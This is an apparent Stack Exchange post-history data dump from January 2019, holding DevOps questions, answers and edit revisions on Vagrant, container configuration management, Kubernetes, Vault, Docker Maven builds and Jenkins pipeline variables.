  <row Id="19557" PostHistoryTypeId="2" PostId="6111" RevisionGUID="97fdda4d-3b39-42e9-ba26-a432ef4012dd" CreationDate="2019-01-26T23:04:59.583" UserId="4175" Text="The solution is to automate setting up the control machine, i.e., the VM. You can use, for example, Vagrant for that. With that approach, the VM is wholly defined by a text file (&quot;Vagrantfile&quot;), and can easily and repeatably be created and re-created. The Vagrantfile species a base image, for example some particular Linux distribution; networking etc.; and necessary command lines to set it up, going from there.&#xD;&#xA;&#xD;&#xA;You can set up your VM (i.e., install Ansible) by just providing all necessary shell commands. In this particular example, this is probably enough. If you need a more complex VM, you can get kind of recursive, and configure the VM itself by using Ansible (or one of its alternatives).&#xD;&#xA;&#xD;&#xA;Obviously, you will want to treat the Vagrantfile the same as your other configurations; i.e., commit it to your SCM and keep it up to date.&#xD;&#xA;&#xD;&#xA;This is just an example: You don't *need* to use Vagrant or a VM; you can also install your Ansible inside a Docker image or whatever your cloud provider of choice provides as containerization. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19558" PostHistoryTypeId="2" PostId="6112" RevisionGUID="e98466e6-8327-4a0a-bc12-d5aeb3e543a3" CreationDate="2019-01-27T02:25:22.290" UserId="12064" Text="Welcome to containers, a very exciting direction indeed. &#xD;&#xA;&#xD;&#xA;Software configuration management tools such as the ones you mention do cater for containers in many ways and if you're already familiar with Terraform then you'll probably already know this.&#xD;&#xA;&#xD;&#xA;Kubernetes for instance can manage deployments and replication sets (of containers; 'pods') and nodes much like Puppet might manage virtual machines and micro-services.&#xD;&#xA;&#xD;&#xA;I would say I personally use Puppet less in the container world but believe configuration management is still necessary in a container infrastructure though you may change the way you approach it with regard to the native tools that come along with containers as opposed to Puppet perhaps.&#xD;&#xA;&#xD;&#xA;A Dockerfile is fairly self explanatory to satisfy the infrastructure as code perspective that Puppet delivers; and if you then get into Kubernetes clusters and nodes the same could be said about YAML files too.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19559" PostHistoryTypeId="5" PostId="6112" RevisionGUID="9b6f9944-25cb-47e8-a930-a304664c0fea" CreationDate="2019-01-27T02:37:12.037" UserId="12064" Comment="Added another stack overflow answer to support my own." Text="Welcome to containers, a very exciting direction indeed. &#xD;&#xA;&#xD;&#xA;Software configuration management tools such as the ones you mention do cater for containers in many ways and if you're already familiar with Terraform then you'll probably already know this.&#xD;&#xA;&#xD;&#xA;Kubernetes for instance can manage deployments and replication sets (of containers; 'pods') and nodes much like Puppet might manage virtual machines and micro-services.&#xD;&#xA;&#xD;&#xA;I would say I personally use Puppet less in the container world but believe configuration management is still necessary in a container infrastructure though you may change the way you approach it with regard to the native tools that come along with containers as opposed to Puppet perhaps.&#xD;&#xA;&#xD;&#xA;A Dockerfile is fairly self explanatory to satisfy the infrastructure as code perspective that Puppet delivers; and if you then get into Kubernetes clusters and nodes the same could be said about YAML files too.&#xD;&#xA;&#xD;&#xA;Containers are bundles of repeatable infrastructure. I find this stack overflow answer sums it up best. It certainly helped me in the past.&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/41472271/1524645&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19560" PostHistoryTypeId="5" PostId="6112" RevisionGUID="4deb98a2-4cc8-4ad4-90a7-c7f5ae7ef52b" CreationDate="2019-01-27T03:04:45.250" UserId="12064" Comment="reworded link paragraph" Text="Welcome to containers, a very exciting direction indeed. &#xD;&#xA;&#xD;&#xA;Software configuration management tools such as the ones you mention do cater for containers in many ways and if you're already familiar with Terraform then you'll probably already know this.&#xD;&#xA;&#xD;&#xA;Kubernetes for instance can manage deployments and replication sets (of containers; 'pods') and nodes much like Puppet might manage virtual machines and micro-services.&#xD;&#xA;&#xD;&#xA;I would say I personally use Puppet less in the container world but believe configuration management is still necessary in a container infrastructure though you may change the way you approach it with regard to the native tools that come along with containers as opposed to Puppet perhaps.&#xD;&#xA;&#xD;&#xA;A Dockerfile is fairly self explanatory to satisfy the infrastructure as code perspective that Puppet delivers; and if you then get into Kubernetes clusters and nodes the same could be said about YAML files too.&#xD;&#xA;&#xD;&#xA;Containers are bundles of repeatable infrastructure. I find this stack overflow answer supports my answer too; it certainly helped me in the past.&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/41472271/1524645&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19561" PostHistoryTypeId="4" PostId="5980" RevisionGUID="be9c67e4-05ca-46b7-99cc-f2730f1ade0a" CreationDate="2019-01-27T06:51:41.073" UserId="12064" Comment="Question put into title, removed 'can I ask a question'" Text="Can I change the mount path and port number of a built container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19562" PostHistoryTypeId="24" PostId="5980" RevisionGUID="be9c67e4-05ca-46b7-99cc-f2730f1ade0a" CreationDate="2019-01-27T06:51:41.073" Comment="Proposed by 12064 approved by 707, 40 edit id of 924" ContentLicense="CC BY-SA 4.0" />
  <row Id="19563" PostHistoryTypeId="5" PostId="5713" RevisionGUID="dbde6f71-9369-4314-93e2-f21b978a54fa" CreationDate="2019-01-27T06:51:53.510" UserId="12064" Comment="Spelling of containerization and tidy up." Text="Apologies for being such a basic question but all the resources I've found seem to take this knowledge for granted. &#xD;&#xA;&#xD;&#xA;I'm brand new to docker and containerization in general.&#xD;&#xA;&#xD;&#xA;Today when opening a program for a project i.e. RStudio, Jupyter, Notebook, Spyder or an IPython Console I would run a bash script in anaconda3/bin, either from a custom menu item or Anaconda Navigator or just the terminal.&#xD;&#xA;&#xD;&#xA;How does this work with Docker? If I'm using a Docker container for my project and I install Anaconda and the other packages I use, is there a folder within the container containing the bash scripts or does it link to bash scripts installed on my system or something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19564" PostHistoryTypeId="24" PostId="5713" RevisionGUID="dbde6f71-9369-4314-93e2-f21b978a54fa" CreationDate="2019-01-27T06:51:53.510" Comment="Proposed by 12064 approved by 707, 40 edit id of 925" ContentLicense="CC BY-SA 4.0" />
  <row Id="19565" PostHistoryTypeId="2" PostId="6113" RevisionGUID="28d06376-82d0-4732-a1d6-b977d67a8048" CreationDate="2019-01-27T09:42:36.917" UserId="10599" Text="It depends on what you are willing to rent and allow to be managed by someone else. &#xA;&#xA;If we look at this diagram:&#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;It shows a full range of options. At one end is Do It Yourself with on-prem hardware and setting up networks etc. Next to that is ”co-lo” which implies you buy servers that are installed in someones rack/network/data centre. Next to that is IaaS where you usually rent VMs on virtual networks and pay someone to manage the physical servers and physical network. &#xA;&#xA;So where do containers fit in? Well I have seen big organizations treat cloud IaaS a bit like on-perm by setting up networks and firewalls in cloud to exactly match on-prem with private network connections into the cloud datacenter. So getting very little advantages of cloud. What they are mostly managing are dozens of legacy systems that they have ”lifted and shifted” from on-prem into a cloud provider as part of a multiple million dollar cloud contract. Obviously, they still need all the configuration management like they were using on-prem to manage the VMs. Then they install Kubernetes and have to manage that. The cost of all the engineers they need to hire keep it all running is huge. In such a setup its clear they need configuration management at every level and clusters of containers are just one more new thing they need to configure and manage. &#xA;&#xA;At the other end of the spectrum is SaaS and you don't know if they use VMs or Containers it whatever. You then have no traditional configuration management and usually no devops. From the devops perspective an interesting choice is CaaS/PaaS where you rent capacity on a managed Kubernetes service that has devops extensions such as OpenShift. As a start up you can simply rent memory on a shared cluster where you are isolated from other tenants via software defined networks within OpenShift Kubernetes. Then you have outsourced both management and configuration of the VMs in the cloud and also outsourced patching and expanding the Kubernetes cluster running on the VMs. You can then focus on configuration management of your app in containers on Kubernetes. &#xA;&#xA;So it depends on how much you can and are willing to relinquish control of. Its easy to start of renting a fraction of a shared cluster then upgrade to a dedicated cluster still managed by someone else. Once you start out doing that on public cloud its hard to imagine any additional advantage of going back to managing VMs in the cloud.  Unless you are forced to do so to run legacy apps or software you had to buy that doesn't support being run in containers. &#xA;&#xA;  [1]: https://i.stack.imgur.com/O3zPX.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="19566" PostHistoryTypeId="5" PostId="6113" RevisionGUID="dc1df0e0-9826-432c-baa9-e49fba4b9ac4" CreationDate="2019-01-27T12:08:20.217" UserId="10599" Comment="added 134 characters in body" Text="It depends on what you are willing to rent and allow to be managed by someone else. &#xA;&#xA;If we look at this diagram:&#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;It shows a full range of options. At one end is Do It Yourself with on-prem hardware and setting up networks etc. Next to that is ”co-lo” which implies you buy servers that are installed in someones rack/network/data centre. Next to that is IaaS where you usually rent VMs on purely software defined networks and pay someone to manage the physical servers and physical network. &#xA;&#xA;So where do containers fit in? Well I have seen big organizations treat cloud IaaS a bit like on-perm by setting up networks and firewalls in cloud to exactly match on-prem with private network connections into the cloud datacenter. So getting very little advantages of cloud. What they are mostly managing are dozens of legacy systems that they have ”lifted and shifted” from on-prem into a cloud provider as part of a multiple million dollar cloud contract. Obviously, they still need all the configuration management like they were using on-prem to manage the VMs. Then they install Kubernetes to manage containers and have to manage that. The cost of all the engineers they need to hire to keep it all running is huge. In such a setup its clear they need configuration management at every level and clusters of containers are just one more new thing they need to configure and manage. &#xA;&#xA;At the other end of the spectrum is SaaS and you don't know if they use VMs or Containers it whatever. You then have no traditional configuration management and usually no devops. From the devops perspective an interesting choice is CaaS/PaaS where you rent capacity on a managed Kubernetes service that has devops extensions such as OpenShift. As a start up you can simply rent memory on a shared cluster where you are isolated from other tenants via software defined networks within OpenShift Kubernetes. Then you have outsourced both management and configuration of the VMs in the cloud and also outsourced patching and expanding the Kubernetes cluster running on the VMs. You can then focus on configuration management of your app in containers on Kubernetes. &#xA;&#xA;So it depends on how much you can and are willing to relinquish control of. Its easy to start out renting a fraction of a shared managed cluster then upgrade to a dedicated cluster still managed by someone else. Once you start out doing that on public cloud its hard to imagine any additional advantage of going back to managing VMs in the cloud. Unless you are forced to do so to run legacy apps or software you had to buy that doesn't support being run in containers. If you must configure VMs you should apply best practices of configuration management.&#xA;&#xA;  [1]: https://i.stack.imgur.com/O3zPX.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="19567" PostHistoryTypeId="5" PostId="6113" RevisionGUID="1b2287fd-7486-45a4-9afc-4107dccda757" CreationDate="2019-01-27T12:34:50.797" UserId="10599" Comment="deleted 7 characters in body" Text="It depends on what you are willing to rent and allow to be managed by someone else. &#xA;&#xA;If we look at this diagram:&#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;It shows a full range of options. At one end is Do It Yourself with on-prem hardware and setting up networks etc. Next to that is ”co-lo” which implies you buy servers that are installed in someones rack/network/data centre. Next to that is IaaS where you usually rent VMs on purely software defined networks and pay someone to manage the physical servers and physical network. &#xA;&#xA;So where do containers fit in? Well I have seen big organizations treat cloud IaaS a bit like on-perm by setting up networks and firewalls in cloud to exactly match on-prem with private network connections into the cloud datacenter. So getting very little advantages of cloud. What they are mostly managing are dozens of legacy systems that they have ”lifted and shifted” from on-prem into a cloud provider as part of a multiple million dollar cloud contract. Obviously, they still need all the configuration management like they were using on-prem to manage the VMs. Then they install Kubernetes to manage containers and have to manage that. The cost of all the engineers they need to hire to keep it all running is huge. In such a setup its clear they need configuration management at every level and clusters of containers are just one more new thing they need to configure and manage. &#xA;&#xA;At the other end of the spectrum is SaaS and you don't know if they use VMs or Containers it whatever. You then have no traditional configuration management and usually no devops. From the devops perspective an interesting choice is CaaS/PaaS where you rent capacity on a managed Kubernetes service that has devops extensions such as OpenShift. As a start up you can simply rent memory on a shared cluster where you are isolated from other tenants via software defined networks within OpenShift Kubernetes. Then you have outsourced both management and configuration of the VMs in the cloud and also outsourced patching and expanding the Kubernetes cluster running on the VMs. You can then focus on configuration management of your containers on Kubernetes. &#xA;&#xA;So it depends on how much you can and are willing to relinquish control of. Its easy to start out renting a fraction of a shared managed cluster then upgrade to a dedicated cluster still managed by someone else. Once you start out doing that on public cloud its hard to imagine any additional advantage of going back to managing VMs in the cloud. Unless you are forced to do so to run legacy apps or software you had to buy that doesn't support being run in containers. If you must configure VMs you should apply best practices of configuration management.&#xA;&#xA;  [1]: https://i.stack.imgur.com/O3zPX.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="19568" PostHistoryTypeId="5" PostId="6113" RevisionGUID="3191968b-f76e-436a-9920-f8e00335c117" CreationDate="2019-01-27T12:48:11.593" UserId="10599" Comment="deleted 12 characters in body" Text="It depends on what you are willing to rent and allow to be managed by someone else. &#xA;&#xA;If we look at this diagram:&#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;It shows a full range of options. At one end is Do It Yourself with on-prem hardware and setting up networks etc. Next to that is ”co-lo” which implies you buy servers that are installed in someones rack/network/data centre. Next to that is IaaS where you usually rent VMs on purely software defined networks and pay someone to manage the physical servers and physical network. &#xA;&#xA;So where do containers fit in? Well I have seen big organizations treat cloud IaaS a bit like on-perm by setting up networks and firewalls in cloud to exactly match on-prem with private network connections into the cloud datacenter. So getting very little advantages of cloud. What they are mostly managing are dozens of legacy systems that they have ”lifted and shifted” from on-prem into a cloud provider as part of a multiple million dollar cloud contract. Obviously, they still need all the configuration management like they were using on-prem to manage the VMs. Then they install Kubernetes to manage containers and have to manage that. The cost of all the engineers they need to hire to keep it all running is huge. In such a setup its clear they need configuration management at every level and clusters of containers are just one more new thing they need to configure and manage. &#xA;&#xA;At the other end of the spectrum is SaaS and you don't know if they use VMs or Containers. You then have no traditional configuration management and usually no devops. From the devops perspective an interesting choice is CaaS+PaaS where you rent capacity on a managed Kubernetes service that has devops extensions such as OpenShift. As a start up you can simply rent memory on a shared cluster where you are isolated from other tenants via software defined networks within OpenShift Kubernetes. Then you have outsourced both management and configuration of the VMs in the cloud and also outsourced patching and expanding the Kubernetes cluster running on the VMs. You can then focus on configuration management of your containers on Kubernetes. &#xA;&#xA;So it depends on how much you can and are willing to relinquish control of. Its easy to start out renting a fraction of a shared managed cluster then upgrade to a dedicated cluster still managed by someone else. Once you start out doing that on public cloud its hard to imagine any additional advantage of going back to managing VMs in the cloud. Unless you are forced to do so to run legacy apps or software you had to buy that doesn't support being run in containers. If you must configure VMs you should apply best practices of configuration management.&#xA;&#xA;  [1]: https://i.stack.imgur.com/O3zPX.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="19572" PostHistoryTypeId="2" PostId="6115" RevisionGUID="ab44fbac-1788-401b-bcce-06ce42156d94" CreationDate="2019-01-27T16:09:19.697" UserId="210" Text="I read several Hashicorp Vault tutorials and one of the features that could be used is generating ssh keys for git clone repositories, but those that mean that everybody in the company that clones repositories should install vault and an helper like https://github.com/hashicorp/vault-ssh-helper" ContentLicense="CC BY-SA 4.0" />
  <row Id="19573" PostHistoryTypeId="1" PostId="6115" RevisionGUID="ab44fbac-1788-401b-bcce-06ce42156d94" CreationDate="2019-01-27T16:09:19.697" UserId="210" Text="What does implementing Hashicorp Vault mean in practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19574" PostHistoryTypeId="3" PostId="6115" RevisionGUID="ab44fbac-1788-401b-bcce-06ce42156d94" CreationDate="2019-01-27T16:09:19.697" UserId="210" Text="&lt;culture&gt;&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19581" PostHistoryTypeId="2" PostId="6118" RevisionGUID="cb131b91-3c65-4d9d-8c0c-8bb94c11e1d1" CreationDate="2019-01-27T17:25:09.573" UserId="210" Text="After evaluating and trying to build our current monolith, my conclusion is that jenkins-x should be used if one starts from scratch and wants to deploy a spring boot app in the cloud automatically. If that is not the case and one would like to run an existing monolith in the cloud then I suggest to use the stable/chart jenkins." ContentLicense="CC BY-SA 4.0" />
  <row Id="19582" PostHistoryTypeId="19" PostId="3932" RevisionGUID="e22ad788-3b66-4d86-8273-a9d80f4a43c9" CreationDate="2019-01-27T17:35:57.700" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="19583" PostHistoryTypeId="20" PostId="3932" RevisionGUID="7deb3254-0ad2-4625-af6c-4600082e915a" CreationDate="2019-01-27T17:36:19.967" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="19584" PostHistoryTypeId="33" PostId="3932" RevisionGUID="28df6cc2-dac7-49fc-8fe1-087bce7d11dd" CreationDate="2019-01-27T17:37:07.747" UserId="210" Comment="36" />
  <row Id="19589" PostHistoryTypeId="2" PostId="6119" RevisionGUID="cabae9f9-51e1-46ad-84f0-0819b18ff268" CreationDate="2019-01-27T17:45:50.493" UserId="210" Text="I think that chaos testing will promote DevOps unless people have been informed in advance and proper alert management has been enabled. If people do not get triggered then this will not work." ContentLicense="CC BY-SA 4.0" />
  <row Id="19595" PostHistoryTypeId="5" PostId="6111" RevisionGUID="2db37051-242f-4dab-98d6-faff1c345d76" CreationDate="2019-01-27T20:24:27.987" UserId="4175" Comment="added 103 characters in body" Text="The solution is to automate setting up the control machine, i.e., the VM. You can use, for example, Vagrant, Terraform or similar tools (I'll stick with Vagrant in this answer for this example, it's about the principle). With that approach, the VM is wholly defined by a text file (&quot;Vagrantfile&quot;), and can easily and repeatably be created and re-created. The Vagrantfile species a base image, for example some particular Linux distribution; networking etc.; and necessary command lines to set it up, going from there.&#xD;&#xA;&#xD;&#xA;You can set up your VM (i.e., install Ansible) by just providing all necessary shell commands. In this particular example, this is probably enough. If you need a more complex VM, you can get kind of recursive, and configure the VM itself by using Ansible (or one of its alternatives).&#xD;&#xA;&#xD;&#xA;Obviously, you will want to treat the Vagrantfile the same as your other configurations; i.e., commit it to your SCM and keep it up to date.&#xD;&#xA;&#xD;&#xA;This is just an example: You don't *need* to use Vagrant or a VM; you can also install your Ansible inside a Docker image or whatever your cloud provider of choice provides as containerization. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19596" PostHistoryTypeId="2" PostId="6121" RevisionGUID="45550096-c23a-43c0-94da-81ba3f31a0c1" CreationDate="2019-01-27T20:25:08.350" UserId="12073" Text="I am new to Docker .I am install docker tool box on my window machine .&#xD;&#xA;Using pom.xml i want to generate docker image .&#xD;&#xA;pom.xml:-&#xD;&#xA;&#xD;&#xA;			&lt;plugin&gt;&#xD;&#xA;				&lt;groupId&gt;com.spotify&lt;/groupId&gt;&#xD;&#xA;				&lt;artifactId&gt;docker-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;				&lt;version&gt;0.4.11&lt;/version&gt;&#xD;&#xA;				&lt;configuration&gt;&#xD;&#xA;					&lt;repository&gt;${docker.image.prefix}/${project.artifactId}&lt;/repository&gt;&#xD;&#xA;					&lt;imageName&gt;${docker.image.prefix}/${project.artifactId}&lt;/imageName&gt;&#xD;&#xA;					&lt;dockerDirectory&gt;${project.basedir}/src/docker&lt;/dockerDirectory&gt;&#xD;&#xA;					&lt;dockerHost&gt;https://192.168.99.102:2376&lt;/dockerHost&gt;&#xD;&#xA;					&lt;dockerCertPath&gt;C:/Users/shridhar/.docker/machine/machines/default&lt;/dockerCertPath&gt;&#xD;&#xA;					&lt;forceTags&gt;true&lt;/forceTags&gt;&#xD;&#xA;					&lt;imageTags&gt;&#xD;&#xA;						&lt;imageTag&gt;${projectVersion}&lt;/imageTag&gt;&#xD;&#xA;						&lt;imageTag&gt;latest&lt;/imageTag&gt;&#xD;&#xA;					&lt;/imageTags&gt;&#xD;&#xA;&#xD;&#xA;					&lt;!-- push the image on docker hub --&gt;&#xD;&#xA;					&lt;serverId&gt;docker-hub&lt;/serverId&gt;&#xD;&#xA;					&lt;registryUrl&gt;https://hub.docker.com&lt;/registryUrl&gt;&#xD;&#xA;					&lt;resources&gt;&#xD;&#xA;						&lt;resource&gt;&#xD;&#xA;							&lt;!-- war file locaion wheere war should be present (copied) --&gt;&#xD;&#xA;							&lt;targetPath&gt;/	&lt;/targetPath&gt;&#xD;&#xA;							&lt;directory&gt;${project.build.directory}&lt;/directory&gt;&#xD;&#xA;							&lt;include&gt;${project.build.finalName}.war&lt;/include&gt;&#xD;&#xA;						&lt;/resource&gt;&#xD;&#xA;					&lt;/resources&gt;&#xD;&#xA;				&lt;/configuration&gt;&#xD;&#xA;			&lt;/plugin&gt;&#xD;&#xA;&#xD;&#xA;Docker machine details &#xD;&#xA;$ env | grep 'DOCKER'&#xD;&#xA;&#xD;&#xA;DOCKER_HOST=tcp://192.168.99.102:2376&#xD;&#xA;DOCKER_MACHINE_NAME=default&#xD;&#xA;DOCKER_TLS_VERIFY=1&#xD;&#xA;DOCKER_TOOLBOX_INSTALL_PATH=C:\Program Files\Docker Toolbox&#xD;&#xA;DOCKER_CERT_PATH=C:\Users\shridhar\.docker\machine\machines\default&#xD;&#xA;&#xD;&#xA;Getting the below exception &#xD;&#xA;Caused by: com.spotify.docker.client.exceptions.DockerException: java.util.concurrent.ExecutionException: com.spotify.docker.client.shaded.javax.ws.rs.ProcessingException: org.apache.http.client.ClientProtocolException&#xD;&#xA;&#xD;&#xA;If i make tcp connection &lt;dockerHost&gt;tcp://192.168.99.102:2376&lt;/dockerHost&gt;&#xD;&#xA;then getting below exception &#xD;&#xA;Caused by: java.lang.IllegalArgumentException: An HTTPS URI for DOCKER_HOST must be provided to use Docker client certificates&#xD;&#xA;&#xD;&#xA;May i know, what changes i have to make to build image sucessfully " ContentLicense="CC BY-SA 4.0" />
  <row Id="19597" PostHistoryTypeId="1" PostId="6121" RevisionGUID="45550096-c23a-43c0-94da-81ba3f31a0c1" CreationDate="2019-01-27T20:25:08.350" UserId="12073" Text="Docker machine connection with https" ContentLicense="CC BY-SA 4.0" />
  <row Id="19598" PostHistoryTypeId="3" PostId="6121" RevisionGUID="45550096-c23a-43c0-94da-81ba3f31a0c1" CreationDate="2019-01-27T20:25:08.350" UserId="12073" Text="&lt;docker&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19599" PostHistoryTypeId="2" PostId="6122" RevisionGUID="a16098b3-d355-4e50-a83f-14ebf5868cc2" CreationDate="2019-01-28T01:10:06.213" UserId="12076" Text="I have a Docker setup for my project with PHP-FPM, Nginx and many other services required by the application, but inside the PHP app I've to check the `init.d/nginx configtest` for new dynamic Vhosts (which are shared by volumes) generated for a tenancy based service. &#xD;&#xA;&#xD;&#xA;The main thing its that I dont want to make a single container with PHP-FPM and Nginx for scalability reasons.&#xD;&#xA;&#xD;&#xA;My idea is to use any Linux package for watch any change on a folder (Vhosts folder in my case) and test and then reload the service.&#xD;&#xA;&#xD;&#xA;Any suggestion?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19600" PostHistoryTypeId="1" PostId="6122" RevisionGUID="a16098b3-d355-4e50-a83f-14ebf5868cc2" CreationDate="2019-01-28T01:10:06.213" UserId="12076" Text="PHP-FPM with Nginx in different containers (share init.d response between)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19601" PostHistoryTypeId="3" PostId="6122" RevisionGUID="a16098b3-d355-4e50-a83f-14ebf5868cc2" CreationDate="2019-01-28T01:10:06.213" UserId="12076" Text="&lt;docker&gt;&lt;nginx&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19602" PostHistoryTypeId="2" PostId="6123" RevisionGUID="d27710be-7e5a-4d15-816e-ea0b2ddf928f" CreationDate="2019-01-28T01:32:51.540" UserId="12001" Text="The industry appears to have chosen the de facto standards for containers (docker) and orchestration (kubernetes) but this doesn't appear to be the case for the options for implementing a service mesh.&#xD;&#xA;&#xD;&#xA;Are there some good standards to follow when choosing from the available options for implementing a service mesh? " ContentLicense="CC BY-SA 4.0" />
  <row Id="19603" PostHistoryTypeId="1" PostId="6123" RevisionGUID="d27710be-7e5a-4d15-816e-ea0b2ddf928f" CreationDate="2019-01-28T01:32:51.540" UserId="12001" Text="Is there a good standard to follow when choosing a service mesh for your microservice application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19604" PostHistoryTypeId="3" PostId="6123" RevisionGUID="d27710be-7e5a-4d15-816e-ea0b2ddf928f" CreationDate="2019-01-28T01:32:51.540" UserId="12001" Text="&lt;containers&gt;&lt;microservices&gt;&lt;consul&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19605" PostHistoryTypeId="2" PostId="6124" RevisionGUID="ade2d34d-1cf3-4616-aab5-4fb8034f3bd7" CreationDate="2019-01-28T02:26:45.257" UserId="2717" Text="There is likely no general answer to this question, but some reasons to not consider Lambda (or other serverless platforms) include:&#xD;&#xA;&#xD;&#xA;* App requires a language which is not available (C++, Haskell, Erlang, etc.)&#xD;&#xA;&#xD;&#xA;* Organization has existing substantial investment in containerized (or other) app development model, including developer knowledge, build and deployment pipelines&#xD;&#xA;&#xD;&#xA;* Portability is concern; i.e. the organization wants/needs to keep app in a state which is portable across platforms (AWS, Azure, various k8s implementations, and so on).&#xD;&#xA;&#xD;&#xA;* Cost. Do costs of running the Lambda function(s), as well as associated resources (API Gateway, VPC components) exceed budget? This is unlikely if the org. is already running in AWS, but can be a factor when compared against existing (and paid-off) on-premise resources.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19606" PostHistoryTypeId="2" PostId="6125" RevisionGUID="9cac556b-4e1b-4ad8-859c-1424227144d2" CreationDate="2019-01-28T02:42:43.490" UserId="12001" Text="Is this something that's going to be covered at the application level with pod autoscaling? Or should we implement both horizontal pod autoscaling and infrastructure high availability within our cloud provider? The goal is for us to see minimal downtime. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19607" PostHistoryTypeId="1" PostId="6125" RevisionGUID="9cac556b-4e1b-4ad8-859c-1424227144d2" CreationDate="2019-01-28T02:42:43.490" UserId="12001" Text="If we are using Kubernetes do we need to implement HA on both the infrastructure and application level?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19608" PostHistoryTypeId="3" PostId="6125" RevisionGUID="9cac556b-4e1b-4ad8-859c-1424227144d2" CreationDate="2019-01-28T02:42:43.490" UserId="12001" Text="&lt;kubernetes&gt;&lt;infrastructure&gt;&lt;high-availability&gt;&lt;gcp&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19609" PostHistoryTypeId="2" PostId="6126" RevisionGUID="468e2e5a-24fe-4e6b-8dd8-e7bb539fa37a" CreationDate="2019-01-28T06:51:49.020" UserId="11797" Text="I defined variable in declarative Jenkins pipeline script but having issues with simple variable declaration.&#xD;&#xA;&#xD;&#xA;Here is my script:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent none&#xD;&#xA;    stages {&#xD;&#xA;    stage(&quot;first&quot;) {&#xD;&#xA;    def foo = &quot;foo&quot; // fails with &quot;WorkflowScript: 5: Expected a step @ line 5, column 13.&quot;&#xD;&#xA;    sh &quot;echo ${foo}&quot;&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;but it's shows error:&#xD;&#xA;&#xD;&#xA;    org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:&#xD;&#xA;    WorkflowScript: 5: Expected a step @ line 5, column 13.&#xD;&#xA;    def foo = &quot;foo&quot;&#xD;&#xA;    ^&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19610" PostHistoryTypeId="1" PostId="6126" RevisionGUID="468e2e5a-24fe-4e6b-8dd8-e7bb539fa37a" CreationDate="2019-01-28T06:51:49.020" UserId="11797" Text="How to define variable in Jenkins scripted pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="19611" PostHistoryTypeId="3" PostId="6126" RevisionGUID="468e2e5a-24fe-4e6b-8dd8-e7bb539fa37a" CreationDate="2019-01-28T06:51:49.020" UserId="11797" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19612" PostHistoryTypeId="2" PostId="6127" RevisionGUID="4fac5516-f264-4957-8df0-84ad174a0bda" CreationDate="2019-01-28T06:54:43.757" UserId="11598" Text="You need to define variables before the pipeline block starts. Then it should be work.&#xD;&#xA;&#xD;&#xA;    def foo = &quot;foo&quot;&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;    agent none&#xD;&#xA;    stages {&#xD;&#xA;    stage(&quot;first&quot;) {&#xD;&#xA;    sh &quot;echo ${foo}&quot;&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="19616" PostHistoryTypeId="50" PostId="3595" RevisionGUID="b90832fc-d122-4ff5-a0d3-48041d08e386" CreationDate="2019-01-28T08:02:05.430" UserId="-1" />
